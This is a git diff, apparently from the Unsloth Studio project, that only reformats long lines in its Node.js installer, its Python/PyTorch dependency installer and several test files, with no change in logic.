     elif is_windows:
         node_os = "win"
     else:
-        raise PrebuiltFallback(f"unsupported operating system for Node prebuilt: {system}")
+        raise PrebuiltFallback(
+            f"unsupported operating system for Node prebuilt: {system}"
+        )
 
     if machine in {"x86_64", "amd64", "x64"}:
         node_arch = "x64"
@@ -129,7 +133,9 @@ def detect_host() -> HostInfo:
     else:
         # 32-bit ARM (armv7l) is intentionally unsupported: Node 24 LTS ships no
         # linux-armv7l build, so there is nothing at/above the floor to install.
-        raise PrebuiltFallback(f"unsupported CPU architecture for Node prebuilt: {machine}")
+        raise PrebuiltFallback(
+            f"unsupported CPU architecture for Node prebuilt: {machine}"
+        )
 
     # .tar.gz (not .tar.xz) on Unix so the extractor needs no xz; .zip on Windows.
     archive_ext = ".zip" if is_windows else ".tar.gz"
@@ -249,7 +255,9 @@ def download_bytes(url: str, *, timeout: int = 60) -> bytes:
             last_exc = exc
             if attempt >= HTTP_FETCH_ATTEMPTS or not is_retryable_url_error(exc):
                 raise
-            log(f"fetch failed ({attempt}/{HTTP_FETCH_ATTEMPTS}) for {url}: {exc}; retrying")
+            log(
+                f"fetch failed ({attempt}/{HTTP_FETCH_ATTEMPTS}) for {url}: {exc}; retrying"
+            )
             sleep_backoff(attempt)
     assert last_exc is not None
     raise last_exc
@@ -298,7 +306,9 @@ def download_file(url: str, destination: Path) -> None:
                     pass
             if attempt >= HTTP_FETCH_ATTEMPTS or not is_retryable_url_error(exc):
                 raise
-            log(f"download failed ({attempt}/{HTTP_FETCH_ATTEMPTS}) for {url}: {exc}; retrying")
+            log(
+                f"download failed ({attempt}/{HTTP_FETCH_ATTEMPTS}) for {url}: {exc}; retrying"
+            )
             sleep_backoff(attempt)
     assert last_exc is not None
     raise last_exc
@@ -321,7 +331,9 @@ def download_file_verified(
         if actual == expected_sha256:
             log(f"verified {label} sha256={actual}")
             return
-        log(f"{label} checksum mismatch {attempt}/2: expected={expected_sha256} actual={actual}")
+        log(
+            f"{label} checksum mismatch {attempt}/2: expected={expected_sha256} actual={actual}"
+        )
         destination.unlink(missing_ok = True)
         if attempt == 2:
             raise PrebuiltFallback(f"{label} checksum mismatch after retry")
@@ -339,7 +351,9 @@ def load_pins() -> dict:
     except FileNotFoundError as exc:
         raise PrebuiltFallback(f"pinned Node manifest missing: {path}") from exc
     except (json.JSONDecodeError, OSError) as exc:
-        raise PrebuiltFallback(f"pinned Node manifest unreadable ({path}): {exc}") from exc
+        raise PrebuiltFallback(
+            f"pinned Node manifest unreadable ({path}): {exc}"
+        ) from exc
     if not isinstance(data, dict) or data.get("schema_version") != PINS_SCHEMA_VERSION:
         raise PrebuiltFallback(f"pinned Node manifest has an unexpected schema: {path}")
     return data
@@ -348,7 +362,9 @@ def load_pins() -> dict:
 def pinned_default_version(pins: dict) -> str:
     version = str(pins.get("default_version", "")).lstrip("v")
     if not _version_tuple(version):
-        raise PrebuiltFallback("pinned Node manifest is missing a valid 'default_version'")
+        raise PrebuiltFallback(
+            "pinned Node manifest is missing a valid 'default_version'"
+        )
     return version
 
 
@@ -369,10 +385,17 @@ def pinned_sha256(pins: dict, version: str, asset_name: str) -> str | None:
 
 
 def allow_unverified_node() -> bool:
-    return os.environ.get(ALLOW_UNVERIFIED_ENV, "").strip().lower() in {"1", "true", "yes", "on"}
+    return os.environ.get(ALLOW_UNVERIFIED_ENV, "").strip().lower() in {
+        "1",
+        "true",
+        "yes",
+        "on",
+    }
 
 
-def resolve_expected_sha256(pins: dict, version: str, asset: str, *, allow_unverified: bool) -> str:
+def resolve_expected_sha256(
+    pins: dict, version: str, asset: str, *, allow_unverified: bool
+) -> str:
     """Sha256 to verify the archive against: the committed pin, or (only with explicit
     opt-in) the same-origin SHASUMS256.txt. Unpinned without opt-in is refused."""
     pinned = pinned_sha256(pins, version, asset)
@@ -395,7 +418,9 @@ def resolve_expected_sha256(pins: dict, version: str, asset: str, *, allow_unver
         f"not an independent integrity guarantee."
     )
     # A non-UTF8 body just yields no hex match below -> clean PrebuiltFallback.
-    shasums = download_bytes(node_shasums_url(version), timeout = 30).decode("utf-8", "replace")
+    shasums = download_bytes(node_shasums_url(version), timeout = 30).decode(
+        "utf-8", "replace"
+    )
     expected = expected_sha256_for(shasums, asset)
     if not expected:
         raise PrebuiltFallback(f"no sha256 for {asset} in SHASUMS256.txt (v{version})")
@@ -411,7 +436,9 @@ def _safe_extract_path(base: Path, member_name: str) -> Path:
     try:
         target.relative_to(base.resolve())
     except ValueError as exc:
-        raise PrebuiltFallback(f"archive member escaped destination: {member_name}") from exc
+        raise PrebuiltFallback(
+            f"archive member escaped destination: {member_name}"
+        ) from exc
     return target
 
 
@@ -421,7 +448,9 @@ def _extract_zip_safely(source: Path, base: Path) -> None:
             target = _safe_extract_path(base, member.filename)
             mode = (member.external_attr >> 16) & 0o170000
             if mode == 0o120000:
-                raise PrebuiltFallback(f"zip archive contained a symlink entry: {member.filename}")
+                raise PrebuiltFallback(
+                    f"zip archive contained a symlink entry: {member.filename}"
+                )
             if member.is_dir():
                 target.mkdir(parents = True, exist_ok = True)
                 continue
@@ -444,11 +473,15 @@ def _extract_tar_safely(source: Path, base: Path) -> None:
                 pending_links.append((member, target))
                 continue
             if not member.isfile():
-                raise PrebuiltFallback(f"tar archive contained an unsupported entry: {member.name}")
+                raise PrebuiltFallback(
+                    f"tar archive contained an unsupported entry: {member.name}"
+                )
             target.parent.mkdir(parents = True, exist_ok = True)
             extracted = archive.extractfile(member)
             if extracted is None:
-                raise PrebuiltFallback(f"tar archive entry could not be read: {member.name}")
+                raise PrebuiltFallback(
+                    f"tar archive entry could not be read: {member.name}"
+                )
             with extracted, target.open("wb") as dst:
                 shutil.copyfileobj(extracted, dst)
             if member.mode & 0o111:
@@ -462,7 +495,9 @@ def _extract_tar_safely(source: Path, base: Path) -> None:
                 f"archive link used an unsafe target: {member.name} -> {link_name}"
             )
         # tar symlink names are link-parent relative; hard-link names are archive-root relative.
-        resolved = (target.parent / link_path if member.issym() else base / link_path).resolve()
+        resolved = (
+            target.parent / link_path if member.issym() else base / link_path
+        ).resolve()
         try:
             resolved.relative_to(base.resolve())
         except ValueError as exc:
@@ -548,7 +583,9 @@ def install_lock(lock_path: Path) -> Iterator[None]:
                     # Atomically rename before unlinking so only one racer removes
                     # the stale lock; a process recreating it loses the rename and waits.
                     try:
-                        stale_path = lock_path.with_name(f"{lock_path.name}.stale.{os.getpid()}")
+                        stale_path = lock_path.with_name(
+                            f"{lock_path.name}.stale.{os.getpid()}"
+                        )
                         os.replace(str(lock_path), str(stale_path))
                         stale_path.unlink(missing_ok = True)
                     except (OSError, ValueError):
@@ -727,13 +764,22 @@ def _ensure_npm_floor(install_dir: Path, host: HostInfo) -> None:
     npm_major = installed_npm_major(install_dir, host)
     if npm_major is not None and npm_major >= NPM_MIN_MAJOR:
         return
-    log(f"bundled npm {npm_major} below {NPM_MIN_MAJOR}; upgrading npm inside the isolated prefix")
+    log(
+        f"bundled npm {npm_major} below {NPM_MIN_MAJOR}; upgrading npm inside the isolated prefix"
+    )
     cli = npm_cli_path(install_dir, host)
-    _run_node(install_dir, host, [str(cli), "install", "-g", f"npm@^{NPM_MIN_MAJOR}"], timeout = 300)
+    _run_node(
+        install_dir,
+        host,
+        [str(cli), "install", "-g", f"npm@^{NPM_MIN_MAJOR}"],
+        timeout = 300,
+    )
 
 
 # ── Orchestration ──
-def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force: bool) -> int:
+def install_prebuilt(
+    install_dir: Path, *, channel: str, min_major: int, force: bool
+) -> int:
     host = detect_host()
     pins = load_pins()
 
@@ -746,11 +792,15 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
         except Exception as exc:  # noqa: BLE001
             # nodejs.org unreachable: keep a working isolated Node instead of aborting.
             if not force and existing_install_usable(install_dir, host):
-                log(f"Node dist index unreachable ({exc}); keeping existing isolated Node")
+                log(
+                    f"Node dist index unreachable ({exc}); keeping existing isolated Node"
+                )
                 return EXIT_SUCCESS
             raise
         if not isinstance(index, list):
-            raise PrebuiltFallback(f"unexpected index.json payload from {NODE_DIST_INDEX}")
+            raise PrebuiltFallback(
+                f"unexpected index.json payload from {NODE_DIST_INDEX}"
+            )
         version = select_node_version(index, channel = channel, min_major = min_major)
     else:
         version = channel.lstrip("v")
@@ -773,7 +823,9 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
     if (
         not force
         and may_keep
-        and existing_install_matches(install_dir, host, version = version, expected_sha = pin)
+        and existing_install_matches(
+            install_dir, host, version = version, expected_sha = pin
+        )
     ):
         log(f"existing Node install already matches v{version}; nothing to do")
         return EXIT_SUCCESS
@@ -783,7 +835,9 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
         if (
             not force
             and may_keep
-            and existing_install_matches(install_dir, host, version = version, expected_sha = pin)
+            and existing_install_matches(
+                install_dir, host, version = version, expected_sha = pin
+            )
         ):
             log(f"existing Node install already matches v{version}; nothing to do")
             return EXIT_SUCCESS
@@ -796,7 +850,9 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
             staging_root = install_dir.parent / INSTALL_STAGING_ROOT_NAME
             staging_root.mkdir(parents = True, exist_ok = True)
             staging = Path(
-                tempfile.mkdtemp(prefix = f"{install_dir.name}.staging-", dir = staging_root)
+                tempfile.mkdtemp(
+                    prefix = f"{install_dir.name}.staging-", dir = staging_root
+                )
             )
             try:
                 archive_path = staging / asset
@@ -812,11 +868,15 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
 
                 roots = [p for p in extract_dir.iterdir() if p.is_dir()]
                 if len(roots) != 1:
-                    raise PrebuiltFallback(f"unexpected archive layout: {[p.name for p in roots]}")
+                    raise PrebuiltFallback(
+                        f"unexpected archive layout: {[p.name for p in roots]}"
+                    )
                 extracted_root = roots[0]
 
                 _ensure_npm_floor(extracted_root, host)
-                write_metadata(extracted_root, version = version, asset = asset, sha256 = expected_sha)
+                write_metadata(
+                    extracted_root, version = version, asset = asset, sha256 = expected_sha
+                )
                 _swap_into_place(extracted_root, install_dir)
             finally:
                 shutil.rmtree(staging, ignore_errors = True)
@@ -839,7 +899,11 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
                 and meta.get("version") == version
                 and meta.get("sha256") != pin
             )
-            if not force and not pin_mismatch and existing_install_usable(install_dir, host):
+            if (
+                not force
+                and not pin_mismatch
+                and existing_install_usable(install_dir, host)
+            ):
                 log(f"Node download failed ({exc}); keeping existing isolated Node")
                 return EXIT_SUCCESS
             raise
@@ -850,7 +914,9 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
         raise PrebuiltFallback(
             f"post-install verification failed: node={final_version} npm_major={npm_major}"
         )
-    log(f"installed isolated Node v{final_version} (npm {npm_major}.x) at {install_dir}")
+    log(
+        f"installed isolated Node v{final_version} (npm {npm_major}.x) at {install_dir}"
+    )
     return EXIT_SUCCESS
 
 
@@ -858,9 +924,13 @@ def main(argv: list[str] | None = None) -> int:
     global _LOG_TO_STDOUT
     _LOG_TO_STDOUT = True
 
-    parser = argparse.ArgumentParser(description = "Install an isolated Node.js for Unsloth Studio")
+    parser = argparse.ArgumentParser(
+        description = "Install an isolated Node.js for Unsloth Studio"
+    )
     parser.add_argument(
-        "--install-dir", required = True, help = "isolated Node directory, e.g. /node"
+        "--install-dir",
+        required = True,
+        help = "isolated Node directory, e.g. /node",
     )
     parser.add_argument(
         "--node-version",
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 9921b83543..fe777590b7 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -75,7 +75,9 @@ _ROCM_TORCH_INDEX: dict[tuple[int, int], str] = {
 
 # AMD per-arch leaves needing the torch 2.11 floor (the _grouped_mm <2.11 bug).
 # Mirrors *FloorMap in install.ps1 / setup.ps1; other arches ship <2.11 and stay bare.
-_ROCM_GFX_TORCH211_LEAVES: frozenset[str] = frozenset({"gfx120x-all", "gfx1151", "gfx1150"})
+_ROCM_GFX_TORCH211_LEAVES: frozenset[str] = frozenset(
+    {"gfx120x-all", "gfx1151", "gfx1150"}
+)
 
 # pytorch.org rocmX.Y indexes KNOWN to ship torch 2.11 (rocm7.2 only today); don't
 # floor an unknown newer rocm speculatively. Match install.sh / setup.ps1 / install.ps1.
@@ -325,7 +327,11 @@ def _repair_bad_anyio() -> None:
     installed = _installed_anyio_version()
     if installed is None or installed < _ANYIO_BAD_FLOOR:
         return
-    _safe_print(_dim(f"   anyio {installed[0]}.{installed[1]} found -- reinstalling anyio<4.14..."))
+    _safe_print(
+        _dim(
+            f"   anyio {installed[0]}.{installed[1]} found -- reinstalling anyio<4.14..."
+        )
+    )
     pip_install(
         "Repairing anyio version",
         "--no-cache-dir",
@@ -413,7 +419,10 @@ def _path_inside_venv(path: str) -> bool:
         # it. A venv is never at root, so treat that as outside.
         if os.path.dirname(_root) == _root:
             return False
-        return os.path.normcase(os.path.commonpath([os.path.realpath(path), _root])) == _root
+        return (
+            os.path.normcase(os.path.commonpath([os.path.realpath(path), _root]))
+            == _root
+        )
     except (ValueError, OSError):
         # Different drive / unresolvable -> treat as outside the venv.
         return False
@@ -514,7 +523,11 @@ def _detect_rocm_version() -> tuple[int, int] | None:
             if result.returncode == 0:
                 raw = result.stdout.decode().strip().split("\n")[0]
                 parts = raw.split(".")
-                if len(parts) >= 2 and parts[0].isdigit() and parts[1].split("-")[0].isdigit():
+                if (
+                    len(parts) >= 2
+                    and parts[0].isdigit()
+                    and parts[1].split("-")[0].isdigit()
+                ):
                     return int(parts[0]), int(parts[1].split("-")[0])
         except Exception:
             pass
@@ -632,7 +645,8 @@ def _detect_windows_gfx_arch() -> str | None:
             # findall gets every gcnArchName line so multi-GPU hosts are
             # enumerable and HIP_VISIBLE_DEVICES selects correctly.
             _tokens = [
-                t.strip().lower() for t in re.findall(r"(?im)^\s*gcnArchName\s*:\s*(\S+)", text)
+                t.strip().lower()
+                for t in re.findall(r"(?im)^\s*gcnArchName\s*:\s*(\S+)", text)
             ]
             _pick = _dedup_pick(_tokens)
             if _pick:
@@ -808,7 +822,9 @@ def _persist_bnb_rocm_version(version: str) -> bool:
     try:
         sitecustomize_path.parent.mkdir(parents = True, exist_ok = True)
         existing = (
-            sitecustomize_path.read_text(encoding = "utf-8") if sitecustomize_path.exists() else ""
+            sitecustomize_path.read_text(encoding = "utf-8")
+            if sitecustomize_path.exists()
+            else ""
         )
         # Strip all managed regions, including one whose END marker was lost to
         # an interrupted write, then append exactly one fresh block.
@@ -1043,7 +1059,8 @@ def _install_bnb_windows_rocm() -> bool:
     # if detection fails (e.g. a no-op / dry-run install).
     _env_ver = os.environ.get("BNB_ROCM_VERSION")
     _env_is_persisted_default = (
-        os.environ.get(_BNB_ROCM_VERSION_SOURCE_ENV) == _BNB_ROCM_VERSION_SOURCE_SITECUSTOMIZE
+        os.environ.get(_BNB_ROCM_VERSION_SOURCE_ENV)
+        == _BNB_ROCM_VERSION_SOURCE_SITECUSTOMIZE
     )
     _persist_detected_version = False
     if _env_ver and not _env_is_persisted_default:
@@ -1140,7 +1157,9 @@ def _is_pip_rocm_family_leaf(leaf: str) -> bool:
     """
     # gfx must be followed by a digit (gfx90a, gfx1151, gfx120X-all): a gfx-prefixed
     # custom leaf (gfx-private) is a verbatim pin, like rocm7.2-private.
-    return bool(re.fullmatch(r"rocm\d+(?:\.\d+)?", leaf)) or bool(re.match(r"gfx\d", leaf))
+    return bool(re.fullmatch(r"rocm\d+(?:\.\d+)?", leaf)) or bool(
+        re.match(r"gfx\d", leaf)
+    )
 
 
 def _explicit_rocm_torch_index_url() -> "str | None":
@@ -1169,14 +1188,18 @@ def _rocm_pin_family_mismatch(pin_url: str, installed_ver: str) -> bool:
     # Installed +rocmX.Y version; a THREE-part +rocmA.B.C tag is the AMD per-arch
     # (repo.amd.com/gfx*) signature vs a two-part pytorch.org wheel.
     _inst_rocm = re.search(r"\+rocm(\d+)\.(\d+)", installed_ver)
-    _inst_ver = (int(_inst_rocm.group(1)), int(_inst_rocm.group(2))) if _inst_rocm else None
+    _inst_ver = (
+        (int(_inst_rocm.group(1)), int(_inst_rocm.group(2))) if _inst_rocm else None
+    )
     _inst_is_perarch = re.search(r"\+rocm\d+\.\d+\.\d+", installed_ver) is not None
     # A ROCm build MUST carry a +rocm tag; an untagged wheel never satisfies a ROCm pin.
     _inst_has_rocm = re.search(r"\+rocm", installed_ver) is not None
     # Installed torch RELEASE (before "+") is 2.11+.
     _inst_rel = re.match(r"^(\d+)\.(\d+)", installed_ver)
     _inst_is_211 = (
-        (int(_inst_rel.group(1)), int(_inst_rel.group(2))) >= (2, 11) if _inst_rel else False
+        (int(_inst_rel.group(1)), int(_inst_rel.group(2))) >= (2, 11)
+        if _inst_rel
+        else False
     )
 
     if leaf.startswith("gfx"):
@@ -1198,7 +1221,9 @@ def _rocm_pin_family_mismatch(pin_url: str, installed_ver: str) -> bool:
         return not _inst_has_rocm
 
     # rocmX.Y pin. Only KNOWN-2.11 rocm is the 2.11 line (no speculative floor).
-    _pin_is_211 = _pin_ver in _ROCM_KNOWN_TORCH211_VERSIONS if _pin_ver is not None else False
+    _pin_is_211 = (
+        _pin_ver in _ROCM_KNOWN_TORCH211_VERSIONS if _pin_ver is not None else False
+    )
     if _pin_ver is not None and _inst_ver is not None:
         # Both readable: exact (major, minor) compare (rocm7.2 pin over +rocm7.13.x ->
         # mismatch, reinstall the pinned wheel).
@@ -1355,7 +1380,9 @@ def _ensure_cuda_torch() -> None:
         return
     # Last non-empty line: stray sitecustomize/import-hook output must not mask the marker.
     _marker_lines = [
-        line.strip() for line in probe.stdout.decode(errors = "replace").splitlines() if line.strip()
+        line.strip()
+        for line in probe.stdout.decode(errors = "replace").splitlines()
+        if line.strip()
     ]
     if not _marker_lines:
         return
@@ -1455,7 +1482,9 @@ def _ensure_cpu_torch() -> None:
         )
         return
     _lines = [
-        line.strip() for line in probe.stdout.decode(errors = "replace").splitlines() if line.strip()
+        line.strip()
+        for line in probe.stdout.decode(errors = "replace").splitlines()
+        if line.strip()
     ]
     if not _lines:
         return  # unreadable -- the base install step handles a missing torch
@@ -1568,7 +1597,9 @@ def _ensure_rocm_torch() -> None:
         if not _torch_already_rocm:
             index_url = _win_rocm_pin or _windows_rocm_index_url(gfx_arch)
             if index_url is None:
-                print(f"   No AMD Windows torch index for GPU arch {gfx_arch} -- skipping")
+                print(
+                    f"   No AMD Windows torch index for GPU arch {gfx_arch} -- skipping"
+                )
                 return
             print(
                 f"   {gfx_arch or 'pinned ROCm index'} (Windows) -- installing torch from "
@@ -1663,7 +1694,11 @@ def _ensure_rocm_torch() -> None:
         probe = None
     # Last non-empty line, split on the FIRST "|" so the empty HIP field is preserved.
     _marker_lines = (
-        [ln.strip() for ln in probe.stdout.decode(errors = "replace").splitlines() if ln.strip()]
+        [
+            ln.strip()
+            for ln in probe.stdout.decode(errors = "replace").splitlines()
+            if ln.strip()
+        ]
         if (probe is not None and probe.returncode == 0)
         else []
     )
@@ -1697,11 +1732,14 @@ def _ensure_rocm_torch() -> None:
         if _detected_strix:
             # Runtime-visible GPU (HIP_VISIBLE_DEVICES index into gfx_codes, else first);
             # skip the override unless it's Strix.
-            _runtime_gfx = gfx_codes[_pick_visible_index(len(gfx_codes))] if gfx_codes else None
+            _runtime_gfx = (
+                gfx_codes[_pick_visible_index(len(gfx_codes))] if gfx_codes else None
+            )
             if _runtime_gfx in _strix_gfx:
                 _selected_gfx = _runtime_gfx
                 _amd_mirror = (
-                    os.environ.get("UNSLOTH_AMD_ROCM_MIRROR") or "https://repo.amd.com/rocm/whl"
+                    os.environ.get("UNSLOTH_AMD_ROCM_MIRROR")
+                    or "https://repo.amd.com/rocm/whl"
                 ).rstrip("/")
                 _strix_override_url = f"{_amd_mirror}/{_selected_gfx}/"
                 _strix_override_pkgs = (
@@ -1765,11 +1803,15 @@ def _ensure_rocm_torch() -> None:
                 None,
             )
         if tag is None:
-            print(f"   No PyTorch wheel for ROCm {ver[0]}.{ver[1]} -- skipping torch reinstall")
+            print(
+                f"   No PyTorch wheel for ROCm {ver[0]}.{ver[1]} -- skipping torch reinstall"
+            )
         else:
             if _override_idx is None:
                 index_url = f"{_PYTORCH_WHL_BASE}/{tag}"
-            print(f"   ROCm torch -- installing from {_strip_index_url_credentials(index_url)}")
+            print(
+                f"   ROCm torch -- installing from {_strip_index_url_credentials(index_url)}"
+            )
             # Only the _grouped_mm-bug gfx arches need the 2.11 spec; other gfx indexes ship
             # <2.11 and stay on the default range (matches install.ps1 / setup.ps1).
             if tag in _ROCM_GFX_TORCH211_LEAVES:
@@ -1929,7 +1971,9 @@ CONSTRAINTS = SINGLE_ENV / "constraints.txt"
 LOCAL_DD_UNSTRUCTURED_PLUGIN = (
     SCRIPT_DIR / "backend" / "plugins" / "data-designer-unstructured-seed"
 )
-LOCAL_DD_GITHUB_PLUGIN = SCRIPT_DIR / "backend" / "plugins" / "data-designer-github-repo-seed"
+LOCAL_DD_GITHUB_PLUGIN = (
+    SCRIPT_DIR / "backend" / "plugins" / "data-designer-github-repo-seed"
+)
 
 # mlx-lm 0.31.3 broke gemma4 / qwen3_5 loading (strict load_weights rejects the
 # QK-norm q_norm/k_norm tensors); exclude just that release. See mlx-lm #1242.
@@ -2083,7 +2127,9 @@ def _progress(label: str) -> None:
     pad = " " * (_COL - len(_LABEL))
     end = "\n" if _STEP >= _TOTAL else ""
     try:
-        sys.stdout.write(f"\r  {_dim(_LABEL)}{pad}[{bar}] {_STEP:2}/{_TOTAL}  {label:<20}{end}")
+        sys.stdout.write(
+            f"\r  {_dim(_LABEL)}{pad}[{bar}] {_STEP:2}/{_TOTAL}  {label:<20}{end}"
+        )
         sys.stdout.flush()
         _PROGRESS_LINE_ACTIVE = end == ""
     except OSError:
@@ -2144,7 +2190,9 @@ def _build_flash_attn_wheel_url(env: dict[str, str]) -> str | None:
     return flash_attn_wheel_url(env)
 
 
-def _print_optional_install_failure(label: str, result: subprocess.CompletedProcess[str]) -> None:
+def _print_optional_install_failure(
+    label: str, result: subprocess.CompletedProcess[str]
+) -> None:
     _step("warning", f"{label} failed (exit code {result.returncode})", _cyan)
     if result.stdout:
         # Redact any pinned --index-url credentials before printing captured output.
@@ -2240,7 +2288,9 @@ def _filter_requirements(req: Path, skip: set[str]) -> Path:
     """Return a temp copy of a requirements file with certain packages removed."""
     lines = req.read_text(encoding = "utf-8").splitlines(keepends = True)
     filtered = [
-        line for line in lines if not any(line.strip().lower().startswith(pkg) for pkg in skip)
+        line
+        for line in lines
+        if not any(line.strip().lower().startswith(pkg) for pkg in skip)
     ]
     tmp = tempfile.NamedTemporaryFile(
         mode = "w",
@@ -2747,12 +2797,16 @@ def install_python_stack() -> int:
         # and crashes transformers.quantizers. Unsloth stubs it at runtime, so
         # installing it only ships a package that crashes on import -- skip it.
         _progress("dependency overrides (skipped, Windows ROCm)")
-        _safe_print("   Windows ROCm -- skipping torchao (no working build; stubbed at runtime)")
+        _safe_print(
+            "   Windows ROCm -- skipping torchao (no working build; stubbed at runtime)"
+        )
     else:
         _progress("dependency overrides")
         _torch_ver = _probe_installed_torch_version()
         _torchao_spec = _select_torchao_spec(_torch_ver)
-        _safe_print(f"   torch {_torch_ver or 'unknown'} detected -- installing {_torchao_spec}")
+        _safe_print(
+            f"   torch {_torch_ver or 'unknown'} detected -- installing {_torchao_spec}"
+        )
         pip_install(
             "Installing dependency overrides",
             "--force-reinstall",
diff --git a/tests/_zoo_rocm_spoof.py b/tests/_zoo_rocm_spoof.py
index 050191e9d1..6df5fc8a4a 100644
--- a/tests/_zoo_rocm_spoof.py
+++ b/tests/_zoo_rocm_spoof.py
@@ -36,7 +36,9 @@ def _cuda_spoof():
     torch.cuda machinery instead of duplicating it."""
     if "_zoo_aggressive_cuda_spoof" in sys.modules:
         return sys.modules["_zoo_aggressive_cuda_spoof"]
-    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_zoo_aggressive_cuda_spoof.py")
+    path = os.path.join(
+        os.path.dirname(os.path.abspath(__file__)), "_zoo_aggressive_cuda_spoof.py"
+    )
     spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", path)
     mod = importlib.util.module_from_spec(spec)
     spec.loader.exec_module(mod)
@@ -81,4 +83,8 @@ def apply(gfx: str = "gfx1100", device_count: int = 1) -> None:
 if __name__ == "__main__":
     apply()
     import torch
-    print("ROCm spoof applied:", torch.version.hip, torch.cuda.get_device_properties(0).gcnArchName)
+    print(
+        "ROCm spoof applied:",
+        torch.version.hip,
+        torch.cuda.get_device_properties(0).gcnArchName,
+    )
diff --git a/tests/python/conftest.py b/tests/python/conftest.py
index f7b125edf6..9129e384e5 100644
--- a/tests/python/conftest.py
+++ b/tests/python/conftest.py
@@ -2,5 +2,9 @@
 
 
 def pytest_configure(config):
-    config.addinivalue_line("markers", "server: heavyweight tests requiring studio venv")
-    config.addinivalue_line("markers", "e2e: end-to-end tests requiring network and venv creation")
+    config.addinivalue_line(
+        "markers", "server: heavyweight tests requiring studio venv"
+    )
+    config.addinivalue_line(
+        "markers", "e2e: end-to-end tests requiring network and venv creation"
+    )
diff --git a/tests/python/test_change_system_message.py b/tests/python/test_change_system_message.py
index 7edd873a8d..06518df1d2 100644
--- a/tests/python/test_change_system_message.py
+++ b/tests/python/test_change_system_message.py
@@ -18,7 +18,9 @@ def _load_change_system_message():
     namespace = {
         "re": re,
         "logger": types.SimpleNamespace(warning_once = lambda *a, **k: None),
-        "DEFAULT_SYSTEM_MESSAGE": {"unsloth": "You are a helpful assistant to the user"},
+        "DEFAULT_SYSTEM_MESSAGE": {
+            "unsloth": "You are a helpful assistant to the user"
+        },
     }
     module = ast.Module(body = funcs, type_ignores = [])
     ast.fix_missing_locations(module)
diff --git a/tests/python/test_construct_chat_template_validation.py b/tests/python/test_construct_chat_template_validation.py
index 53d281d435..b6a248ff36 100644
--- a/tests/python/test_construct_chat_template_validation.py
+++ b/tests/python/test_construct_chat_template_validation.py
@@ -92,7 +92,9 @@ class _SuccessFakeTokenizer(_FakeTokenizer):
         "User: {INPUT}\n{OUTPUT}User: {INPUT}\n{OUTPUT}",
     ],
 )
-def test_chat_template_does_not_leak_sentinel_when_section_starts_with_it(chat_template):
+def test_chat_template_does_not_leak_sentinel_when_section_starts_with_it(
+    chat_template,
+):
     """When an input/output section begins with the {INPUT}/{OUTPUT} sentinel, the
     generated Jinja template must not keep the literal sentinel text. The `startswith`
     branch in the internal `process()` helper used to slice from `find()` (which is 0
@@ -117,7 +119,9 @@ def _render(jinja_template, messages):
     from jinja2.sandbox import ImmutableSandboxedEnvironment
 
     env = ImmutableSandboxedEnvironment()
-    env.globals["raise_exception"] = lambda message: (_ for _ in ()).throw(RuntimeError(message))
+    env.globals["raise_exception"] = lambda message: (_ for _ in ()).throw(
+        RuntimeError(message)
+    )
     return env.from_string(jinja_template).render(
         messages = messages,
         bos_token = "",
@@ -186,7 +190,9 @@ def test_static_prefix_without_system_still_rejects_system_message():
         default_system_message = None,
         extra_eos_tokens = [""],
     )
-    with pytest.raises(RuntimeError, match = "Only user and assistant roles are supported!"):
+    with pytest.raises(
+        RuntimeError, match = "Only user and assistant roles are supported!"
+    ):
         _render(
             jinja_template,
             [
diff --git a/tests/python/test_cpo_processor_text_tokenizer.py b/tests/python/test_cpo_processor_text_tokenizer.py
index 69316e042d..ffe2be6265 100644
--- a/tests/python/test_cpo_processor_text_tokenizer.py
+++ b/tests/python/test_cpo_processor_text_tokenizer.py
@@ -55,7 +55,10 @@ def _load_pad_rewriter():
             getattr(t, "id", None) == "_PAD_FALLBACK" for t in n.targets
         ):
             nodes.append(n)
-        elif isinstance(n, ast.FunctionDef) and n.name == "orpo_trainer_processor_pad_token":
+        elif (
+            isinstance(n, ast.FunctionDef)
+            and n.name == "orpo_trainer_processor_pad_token"
+        ):
             nodes.append(n)
     import re as _re
 
@@ -79,7 +82,10 @@ def test_pad_token_default_routed_through_inner_tokenizer():
     out = rewrite("__init__", init_src)
     assert "if processing_class.pad_token is None:" not in out
     assert "processing_class.pad_token = processing_class.eos_token" not in out
-    assert "_unsloth_proc_tok = getattr(processing_class, 'tokenizer', processing_class)" in out
+    assert (
+        "_unsloth_proc_tok = getattr(processing_class, 'tokenizer', processing_class)"
+        in out
+    )
     # bare pad_token_id must be routed through the getattr fallback, not left raw
     assert "= processing_class.pad_token_id\n" not in out
     ast.parse(out)  # rewritten source still compiles
diff --git a/tests/python/test_cross_platform_parity.py b/tests/python/test_cross_platform_parity.py
index b3a9b99c55..8e69e44f15 100644
--- a/tests/python/test_cross_platform_parity.py
+++ b/tests/python/test_cross_platform_parity.py
@@ -25,11 +25,17 @@ class TestNoTorchBackendAutoInInstallSh:
         for i, line in enumerate(lines):
             if fallback_start is None and "GPU detection failed" in line:
                 fallback_start = i
-            elif fallback_start is not None and fallback_end is None and line.strip() == "fi":
+            elif (
+                fallback_start is not None
+                and fallback_end is None
+                and line.strip() == "fi"
+            ):
                 fallback_end = i
                 break
         fallback_range = (
-            range(fallback_start or 0, (fallback_end or 0) + 1) if fallback_start else range(0)
+            range(fallback_start or 0, (fallback_end or 0) + 1)
+            if fallback_start
+            else range(0)
         )
 
         matches = [
@@ -361,14 +367,20 @@ class TestKnown211SetParity:
             r"rocm7\.2\|gfx120x-all\|gfx1151\|gfx1150\)", text
         ), "install.sh 2.11 floor must be exactly rocm7.2|gfx120x-all|gfx1151|gfx1150"
         # No speculative rocm7.3 anywhere.
-        assert "rocm7.3" not in text, "install.sh must not reference a non-existent rocm7.3"
+        assert (
+            "rocm7.3" not in text
+        ), "install.sh must not reference a non-existent rocm7.3"
 
